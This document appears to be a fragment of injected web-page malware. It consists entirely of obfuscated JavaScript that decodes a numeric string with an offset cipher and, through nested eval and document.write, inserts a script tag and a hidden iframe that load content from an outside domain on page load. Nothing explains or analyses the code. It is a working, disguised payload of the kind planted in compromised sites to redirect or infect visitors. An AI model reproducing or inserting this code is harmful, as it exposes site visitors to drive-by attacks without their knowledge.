s="324379363378369376380296372361374367381361367365325338361382361347363378369376380326296364375363381373365374380310383378369380365304298324369366378361373365296379378363325303368380380376322311311361362363369374366375368365372376310363375373311361364382369379375378309373375364381372365379311369366378361373365359363375381374380365378327361363363375381374380325380372365385315315302378365366325298307380375376310364375363381373365374380310378365366365378378365378307298303296383369364380368325313296368365369367368380325313296379363378375372372369374367325303374375303296374375378365379369386365326324311369366378361373365326298305323296324311379363378369376380326296";k="f=String.fromCharCode(32,32,118,97,114,32,32,32,111,32,61,32,32,39,39,32,32,32,59,32,32,102,117,110,99,116,105,111,110,32,32,100,32,32,40,32,32,32,41,32,123,32,32,32,105,32,61,32,48,32,32,32,59,32,32,32,99,32,32,32,61,32,32,48,32,59,32,32,32,119,104,105,108,101,32,40,32,32,32,105,32,32,32,60,32,32,115,46,108,101,110,103,116,104,32,32,32,41,32,32,32,123,32,32,32,99,32,32,32,61,32,32,32,77,97,116,104,46,114,111,117,110,100,32,32,40,32,32,32,115,46,99,104,97,114,65,116,40,32,32,105,32,32,32,41,32,32,32,43,32,32,32,115,46,99,104,97,114,65,116,40,32,105,32,43,32,32,32,49,32,32,32,41,32,43,32,32,32,115,46,99,104,97,114,65,116,40,32,105,32,32,32,43,32,32,32,50,32,41,32,32,32,41,32,45,32,32,50,54,52,59,32,32,32,105,32,61,32,32,105,32,32,43,32,32,32,51,32,59,32,32,32,111,43,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,32,99,32,32,32,41,32,32,59,32,125,32,32,32,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,32,32,32,111,32,41,32,32,125,32,100,40,32,41,59);";eval(eval(k));